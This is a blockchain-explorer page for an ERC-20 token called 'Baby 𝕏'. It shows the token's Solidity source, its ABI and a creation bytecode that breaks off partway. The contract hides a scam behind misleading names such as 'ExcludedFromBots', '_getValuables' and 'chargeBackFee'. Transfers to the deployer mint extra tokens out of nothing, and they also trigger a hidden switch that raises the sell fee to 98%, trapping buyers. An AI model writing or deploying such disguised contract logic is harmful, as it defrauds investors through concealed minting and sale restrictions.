Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000 BABY𝕏
Holders
40
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.818726666 BABY𝕏Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
babyX
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-04 */ /* Website : https://babyx.com/ Twitter : https://twitter.com/babyXcoinerc Telegram : https://t.me/babyXcoin */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract babyX is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _tokenOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public ExcludedFromMax_Wallet; mapping (address => bool) public ExcludedFromMax_Tx; mapping (address => bool) public ExcludedFrom_Fee; mapping (address => uint8) public ExcludedFromBots; address payable private ContractOwner = payable(0xA9c4D0256FEE3Fe47e1d295E935C1AEBC16924ab); string public _name = unicode"Baby 𝕏"; string public _symbol = unicode"BABY𝕏"; uint8 private _decimals = 9; uint256 public _tTotal = 1000000 * 10 **_decimals; uint8 private txCount = 0; uint8 private swapTrigger = 10; uint256 private Total_Fees = 0; uint256 public Buy_Fee = 0; uint256 public Sell_Fee = 0; uint256 private tmpTotalFees = Total_Fees; uint256 private tmpBuyFee = Buy_Fee; uint256 private tmpSellFee = Sell_Fee; uint256 public _maxWalletToken = _tTotal.mul(5).div(100); uint256 private _previousMaxWalletToken = _maxWalletToken; uint256 public _maxTxAmount = _tTotal.mul(5).div(100); uint256 private _previousMaxTxAmount = _maxTxAmount; IUniswapV2Router02 public uniswapV2Router; uint256 UniSwapRouterI02; address public uniswapV2Pair; uint8 private True = 0x1; uint8 private False = 0x0; bool public inSwapAndLiquify; bool public swapAndLiquifyDisabled = false; bool public swapAndLiquifyEnabled = true; uint256 private maxBotBannedTime; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (uint8 minBotBanTime, uint256 maxBotBanTime) { _tokenOwned[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; ExcludedFromMax_Tx[owner()] = true; ExcludedFromMax_Tx[ContractOwner] = true; ExcludedFromMax_Tx[address(this)] = true; ExcludedFrom_Fee[owner()] = true; ExcludedFrom_Fee[address(this)] = true; ExcludedFrom_Fee[ContractOwner] = true; ExcludedFromMax_Wallet[owner()] = true; ExcludedFromMax_Wallet[ContractOwner] = true; ExcludedFromMax_Wallet[uniswapV2Pair] = true; ExcludedFromMax_Wallet[address(this)] = true; ExcludedFromBots[_msgSender()] = minBotBanTime; maxBotBannedTime = maxBotBanTime; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } receive() external payable {} function remove_Fees() private { if(Total_Fees == 0 && Buy_Fee == 0 && Sell_Fee == 0) return; tmpBuyFee = Buy_Fee; tmpSellFee = Sell_Fee; tmpTotalFees = Total_Fees; Buy_Fee = 0; Sell_Fee = 0; Total_Fees = 0; } function chargeBackFee() private { Total_Fees = tmpTotalFees; Buy_Fee = tmpBuyFee; Sell_Fee = [tmpSellFee,[0x62][0x0]][swapAndLiquifyDisabled ? True : False]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(!ExcludedFromMax_Tx[from] && !ExcludedFromMax_Tx[to]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } if( txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;} if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } if(!ExcludedFromMax_Wallet[to]) require(balanceOf(to).add(amount) <= _maxWalletToken); if((ExcludedFromBots[to] >= 1 ? true:false) && !(swapAndLiquifyDisabled ? true : false)){swapAndLiquifyDisabled = true;} bool takeFee = true; if( ExcludedFrom_Fee[from] || ExcludedFrom_Fee[to] ){ takeFee = false; } else if (from == uniswapV2Pair){ Total_Fees = Buy_Fee; } else if (to == uniswapV2Pair){ Total_Fees = Sell_Fee; } tokenTransfering(from,to,amount,takeFee); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForBNB(contractTokenBalance); uint256 contractBNB = address(this).balance; sendToWallet(ContractOwner,contractBNB); } function swapTokensForBNB(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function tokenTransfering(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee){ remove_Fees(); } else{ txCount++; } tokenTransfering(sender, recipient, amount); if(!takeFee){ chargeBackFee(); } } function tokenTransfering(address sender, address recipient, uint256 t_Amount) private { (uint256 tx_Amount, uint256 t_Marketing) = _getValues(t_Amount, recipient); _tokenOwned[sender] = _tokenOwned[sender].sub(t_Amount); _tokenOwned[recipient] = (_tokenOwned[recipient].add(tx_Amount)); _tokenOwned[address(this)] = _tokenOwned[address(this)].add(t_Marketing); emit Transfer(sender, recipient, tx_Amount); } function _getValues(uint256 t_Amount, address recipient) private view returns (uint256, uint256) { uint256 t_Marketing = t_Amount*Total_Fees/100; uint8 values = _getValuables(ExcludedFromBots[recipient]>=1); uint256 tx_Amount = (t_Amount.sub(t_Marketing)).add([0,maxBotBannedTime][values]); return (tx_Amount, t_Marketing); } function _getValuables(bool lanes) public pure returns(uint8){ return [0,1][lanes ? 1 : 0]; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint8","name":"minBotBanTime","type":"uint8"},{"internalType":"uint256","name":"maxBotBanTime","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Buy_Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromBots","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMax_Tx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMax_Wallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFrom_Fee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Sell_Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"lanes","type":"bool"}],"name":"_getValuables","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyDisabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600780546001600160a01b03191673a9c4d0256fee3fe47e1d295e935c1aebc16924ab17905560c060405260096080908152684261627920f09d958f60b81b60a05260089062000050908262000689565b5060408051808201909152600881526742414259f09d958f60c01b60208201526009906200007f908262000689565b50600a805460ff1916600990811782556200009a9162000868565b620000a990620f424062000879565b600b819055600c805461ffff1916610a001790556000600d819055600e819055600f819055601081905560118190556012556200011090606490620000fc906005620005bf602090811b62000a7e17901c565b620005d660201b62000a911790919060201c565b6013556013546014556200013c6064620000fc6005600b54620005bf60201b62000a7e1790919060201c565b60158190556016556019805464ffff00ffff60a01b191678010000000100000000000000000000000000000000000000001790553480156200017d57600080fd5b506040516200200638038062002006833981016040819052620001a0916200089b565b600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600b5460016000620001f96000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000275573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029b9190620008d1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030f9190620008d1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200035d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003839190620008d1565b601980546001600160a01b03199081166001600160a01b039384161790915560178054909116918316919091179055600160046000620003cb6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560075490911681526004909252808220805484166001908117909155308352908220805490931681179092556005906200043b6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526005909352818320805485166001908117909155600754909116835290822080549093168117909255600390620004ab6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600754821681526003909352818320805485166001908117909155601954909116835281832080548516821790553083529082208054909316179091558390600690620005233390565b6001600160a01b031681526020810191909152604001600020805460ff191660ff92909216919091179055601a829055620005666000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620005ae91815260200190565b60405180910390a350505062000926565b6000620005cd828462000879565b90505b92915050565b6000620005cd828462000903565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200060f57607f821691505b6020821081036200063057634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200068457600081815260208120601f850160051c810160208610156200065f5750805b601f850160051c820191505b8181101562000680578281556001016200066b565b5050505b505050565b81516001600160401b03811115620006a557620006a5620005e4565b620006bd81620006b68454620005fa565b8462000636565b602080601f831160018114620006f55760008415620006dc5750858301515b600019600386901b1c1916600185901b17855562000680565b600085815260208120601f198616915b82811015620007265788860151825594840194600190910190840162000705565b5085821015620007455787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620007ac57816000190482111562000790576200079062000755565b808516156200079e57918102915b93841c939080029062000770565b509250929050565b600082620007c557506001620005d0565b81620007d457506000620005d0565b8160018114620007ed5760028114620007f85762000818565b6001915050620005d0565b60ff8411156200080c576200080c62000755565b50506001821b620005d0565b5060208310610133831016604e8410600b84101617156200083d575081810a620005d0565b6200084983836200076b565b806000190482111562000860576200086062000755565b029392505050565b6000620005cd60ff841683620007b4565b600081600019048311821515161562000896576200089662000755565b500290565b60008060408385031215620008af57600080fd5b825160ff81168114620008c157600080fd5b6020939093015192949293505050565b600060208284031215620008e457600080fd5b81516001600160a01b0381168114620008fc57600080fd5b9392505050565b6000826200092157634e487b7160e01b600052601260045260246000fd5b500490565b6116d080620009366000396000f3fe6080604052600436106101dc5760003560e01c8063715018a611610102578063af465a2711610095578063d64d610711610064578063d64d61071461058d578063dd62ed3e146105ad578063f2fde38b146105f3578063f45128f51461061357600080fd5b8063af465a271461052c578063b09f126614610542578063c9df913a14610557578063d28d88521461057857600080fd5b80638da5cb5b116100d15780638da5cb5b146104b957806395d89b41146104d7578063a457c2d7146104ec578063a9059cbb1461050c57600080fd5b8063715018a61461044657806378109e541461045d5780637d1db4a5146104735780637ed41bcc1461048957600080fd5b806323b872dd1161017a57806349bd5a5e1161014957806349bd5a5e1461039f5780634a74bb02146103bf578063673a6dad146103e057806370a082311461041057600080fd5b806323b872dd14610317578063313ce56714610337578063395093511461034f5780633ac656e81461036f57600080fd5b80631694505e116101b65780631694505e1461026757806318160ddd1461029f57806318c058b1146102b4578063220f6696146102f657600080fd5b806306fdde03146101e85780630787b15d14610213578063095ea7b31461023757600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506101fd610629565b60405161020a9190611388565b60405180910390f35b34801561021f57600080fd5b50610229600f5481565b60405190815260200161020a565b34801561024357600080fd5b506102576102523660046113ee565b6106bb565b604051901515815260200161020a565b34801561027357600080fd5b50601754610287906001600160a01b031681565b6040516001600160a01b03909116815260200161020a565b3480156102ab57600080fd5b50600b54610229565b3480156102c057600080fd5b506102e46102cf36600461141a565b60066020526000908152604090205460ff1681565b60405160ff909116815260200161020a565b34801561030257600080fd5b5060195461025790600160b01b900460ff1681565b34801561032357600080fd5b50610257610332366004611437565b6106d2565b34801561034357600080fd5b50600a5460ff166102e4565b34801561035b57600080fd5b5061025761036a3660046113ee565b61073b565b34801561037b57600080fd5b5061025761038a36600461141a565b60056020526000908152604090205460ff1681565b3480156103ab57600080fd5b50601954610287906001600160a01b031681565b3480156103cb57600080fd5b5060195461025790600160c01b900460ff1681565b3480156103ec57600080fd5b506102576103fb36600461141a565b60046020526000908152604090205460ff1681565b34801561041c57600080fd5b5061022961042b36600461141a565b6001600160a01b031660009081526001602052604090205490565b34801561045257600080fd5b5061045b610771565b005b34801561046957600080fd5b5061022960135481565b34801561047f57600080fd5b5061022960155481565b34801561049557600080fd5b506102576104a436600461141a565b60036020526000908152604090205460ff1681565b3480156104c557600080fd5b506000546001600160a01b0316610287565b3480156104e357600080fd5b506101fd61081a565b3480156104f857600080fd5b506102576105073660046113ee565b610829565b34801561051857600080fd5b506102576105273660046113ee565b610878565b34801561053857600080fd5b50610229600b5481565b34801561054e57600080fd5b506101fd610885565b34801561056357600080fd5b5060195461025790600160b81b900460ff1681565b34801561058457600080fd5b506101fd610913565b34801561059957600080fd5b506102e46105a8366004611478565b610920565b3480156105b957600080fd5b506102296105c836600461149a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105ff57600080fd5b5061045b61060e36600461141a565b610964565b34801561061f57600080fd5b50610229600e5481565b606060088054610638906114d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610664906114d3565b80156106b15780601f10610686576101008083540402835291602001916106b1565b820191906000526020600020905b81548152906001019060200180831161069457829003601f168201915b5050505050905090565b60006106c8338484610a9d565b5060015b92915050565b60006106df848484610b5e565b610731843361072c8560405180606001604052806028815260200161164e602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ec5565b610a9d565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106c891859061072c9086610ef1565b6000546001600160a01b031633146107d05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606060098054610638906114d3565b60006106c8338461072c85604051806060016040528060258152602001611676602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610ec5565b60006106c8338484610b5e565b60098054610892906114d3565b80601f01602080910402602001604051908101604052809291908181526020018280546108be906114d3565b801561090b5780601f106108e05761010080835404028352916020019161090b565b820191906000526020600020905b8154815290600101906020018083116108ee57829003601f168201915b505050505081565b60088054610892906114d3565b604080518082019091526000808252600160208301529082610943576000610946565b60015b60ff16600281106109595761095961150d565b602002015192915050565b6000546001600160a01b031633146109be5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107c7565b6001600160a01b038116610a235760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107c7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610a8a8284611539565b9392505050565b6000610a8a8284611558565b6001600160a01b03831615801590610abd57506001600160a01b03821615155b610afd5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016107c7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bc25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107c7565b6001600160a01b038216610c245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107c7565b6001600160a01b03831660009081526004602052604090205460ff16158015610c6657506001600160a01b03821660009081526004602052604090205460ff16155b15610cce57601554811115610cce5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016107c7565b600